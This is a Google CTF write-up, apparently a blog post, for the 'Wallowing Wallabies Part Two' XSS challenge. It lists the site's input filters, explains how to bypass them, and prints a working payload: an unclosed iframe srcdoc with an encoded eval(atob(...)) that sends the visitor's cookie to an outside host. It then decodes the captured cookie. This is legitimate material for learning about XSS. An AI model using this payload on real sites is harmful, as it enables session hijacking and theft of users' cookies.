Google CTF – Web 2 – Wallowing Wallabies – Part Two

Google CTF - Web 2 - Wallowing Wallabies - Part Two

Continuing on from Wallowing Wallabies Part 1.

We now have a new URL /deep-blue-sea/team/vendors/msg with the cookie we received from Part 1. This looks very similar to the first challenge and we can assume that it's a natural progression in XSS. There most likely will be a new level of XSS protection in this challenge versus the lack of any protection in Part 1.

Trying the same attack vector from the first challenge did not work.

* <script> is replaced with anti**hacker**.
* <iframe> is replaced with anti**hacker**.
* The src attribute is replaced with anti**hacker**.
* Any "on" attribute such as "onerror=" or "onload=" is replaced.

I used a fairly new XSS vector of <iframe> with no closing > to bypass the first protection. As long as we only used <iframe it would not get removed. Instead of using src="", I used srcdoc="" which bypassed the next protection. Now that I have a srcdoc, I am able to use entities which will bypass some of their other checks. Finally, I use eval/base64decode to bypass the rest of the checks.


<iframe srcdoc="%26lt%3Bimg%20src%26equals%3Bx%3Ax%20onerror%26equals%3Beval%26lpar%3Batob%26lpar%3B%27ZG9jdW1lbnQubG9jYXRpb249Imh0dHBzOi8vd3d3LnBvdGF0b3BsYS5uZXQveHNzP2Nvb2tpZT0iK2VuY29kZVVSSShkb2N1bWVudC5jb29raWUpOw%3D%3D%27%26rpar%3B%26rpar%3B%26gt%3B

This appears to have worked in my own browser, but we have to check our access logs to see if their bot loaded it.

We got another green-mountains cookie.

If our assumption on the URL restriction is right, this should give us access to a different endpoint for the final flag.

eyJub25jZSI6ImU1ZjdjN2U1MjE0MzNjNTUiLCJhbGxvd2VkIjoiXi9kZWVwLWJsdWUtc2VhL3R1YW0vY2hhcmFjdGVycy4qJCIsImV4cGlyeSI6MTQ2MTk5NjI4OH0= converts into {"nonce":"e5f7c7e521433c55","allowed":"^/deep-blue-sea/team/characters.*$","expiry":1461996288}

Our new cookie should give us access to the /characters endpoint.

Another flag, another form! This last form leads into Part 3.